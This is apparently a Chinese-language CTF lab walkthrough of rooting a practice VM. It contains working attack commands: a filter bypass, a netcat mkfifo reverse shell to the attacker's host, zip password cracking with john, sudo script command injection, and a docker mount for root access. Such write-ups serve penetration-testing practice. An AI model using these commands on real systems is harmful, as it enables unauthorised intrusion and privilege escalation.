界面花里胡哨的,随便浏览了几下发现是一个纯静态站点,搜索框什么的都是假的,似乎没什么好利用的。
接下来去看看21端口。
嗯,有一个txt文件,打开看看
这里有一个叫“Apaar”的用户给了这么一句提示,大概意思说“Anurodh”用户说命令中会有一些过滤,可能和命令执行有关,这里先记下来,后面可能会用到
继续浏览没什么发现了,扫扫目录看看。
这里看看有一个secret文件夹,我们去浏览器中查看一番。
是一个执行命令的地方。
结合我们之前得到的信息,命令执行会被过滤,这里应该就是让我们绕过拦截了。
先执行几下看看。
执行ls、cat、less、more等等命令都会弹出“Are you a hacker?”
经过多次尝试,我发现执行tac可以绕过检测。
tac index.php
查看页面源代码
果然是有过滤,这里的代码是把我们输入的命令按照空格间隔开,之后进行匹配,这里直接命令执行绕过getshell。
我这里使用nc进行getshell。
Kali进行监听
nc -lvp 6666
靶机执行命令,反弹shell
这里利用Linux下nc命令执行反弹shell的方式
ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.130 6666 >/tmp/f
我们获取的是用户www-data的权限,等级较低,考虑到后续的操作,这里进行提权。刚刚在网页中测试时,我们看到靶机上是装有python的,所以这里使用python进行提权。
python3 -c "import pty;pty.spawn('/bin/bash')"
ok,提权成功,接下来浏览浏览目录。看看能不能直接找到Flag
Flag没找到,不过看到一个hacker.php的文件很可疑
输出看看
黑客:你竟然已经走到这一步了!看着这片黑暗,你将会找到答案…….(出题的作者中二病犯了,有我当年风范)啊哈哈哈….
<html>
<head>
<body>
<style>
body {
background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
color:red;
font-weight: bold;
}
h1
{
color: yellow;
font-weight: bold;
}
</style>
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>
代码中这个图片的名字叫法外加神神叨叨的这段话,估计是CTF中的隐写术了。
我淦!我不会隐写术啊
网上查了查资料,貌似有一款隐写的工具可以破解利用一下。
那就先下载到本地看看吧。
在靶机利用python启动一个web服务器(在images目录下启动)
python3 -m http.server 8080
在Kali上进行下载
wget http://192.168.187.137:8080/hacker-with-laptop_23-2147985341.jpg
这里用到的隐写破解工具是steghide
具体使用方法可以在官网查看http://steghide.sourceforge.net/
好,拿着工具干它一波
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
nice,提取出了图片中隐藏的压缩文件backup.zip
解压缩,发现需要解压密码……
彳亍口巴,祭出神器——开膛手约翰(john)!
john是Sectools排行榜上前十的密码破解工具,功能十分强大。
这里我也要顺便说一下为啥这次不用忍者的原因,忍者上没有集成john和steghide,再安装的话过于耗费时间,还有就是忍者需要的电脑资源实在是太大了,16G内存的我有点吃不消
有的大佬会说hashcat也可以破解,忍者上是有hashcat的,不过我玩的不熟练,索性就直接kali一步到位了
好了,废话不多说,继续。
先生成hash文件。
zip2john backup.zip > backup.hash
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash
john backup.hash --show
使用john加载本地字典进行破解,这里破解成功,显示密码为pass1word
接下来进行文件解压,查看解压的文件内容
<html>
<head>
Admin Portal
</head>
<title> Site Under Development ... </title>
<body>
<form method="POST">
Username: <input type="text" name="name" placeholder="username"><br><br>
Email: <input type="email" name="email" placeholder="email"><br><br>
Password: <input type="password" name="password" placeholder="password">
<input type="submit" name="submit" value="Submit">
</form>
if(isset($_POST['submit']))
{
$email = $_POST["email"];
$password = $_POST["password"];
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);<br><br><br>
<form method="POST">
Enter the OTP: <input type="number" name="otp">
<input type="submit" name="submitOtp" value="Submit">
</form>
"OTP for authentication",$random); mail($email,
if(isset($_POST["submitOtp"]))
{
$otp = $_POST["otp"];
if($otp == $random)
{
echo "Welcome Anurodh!";
header("Location: authenticated.php");
}
else
{
echo "Invalid OTP";
}
}
}
else
{
echo "Invalid Username or Password";
}
}
</html>
阅读代码,看到一处使用base64加密的地方,解密看一下。
解密得到密码
!d0ntKn0wmYp@ssw0rd
登陆密码拿到手了,开始找账户进行登陆,最终在home目录下看到三个用户
是不是很眼熟,前两个用户就是我们刚开始通过ftp获得到的那个文本文件中的两个用户。
拿着我们刚刚获取到的账号密码,尝试ssh登陆,经测试发现anurodh是可以登陆的。
ssh anurodh@192.168.187.137
使用sudo -l查看sudo的权限,发现可以使用apaar身份执行一个脚本文件
sudo -l
继续~
apaar目录是可以进入的,不过里面的local.txt文件不可以读取
查看执行权限,读取隐藏文件helpline.sh
观察发现,msg这个地方是存在命令执行的
我们可以切换到apaar身份去执行输出local.txt的内容
sudo -u apaar ./.helpline.sh
果不其然,拿到了第一个Flag
ok,继续。
查看anurodh用户信息
发现有docker组
尝试列出本地镜像
docker images -a
既然有本地docker镜像,那就尝试docker提权
docker run -v /:/mnt -it alpine
提权成功,ok,继续搜索关键文件
输出proof.txt
来源:小杰安全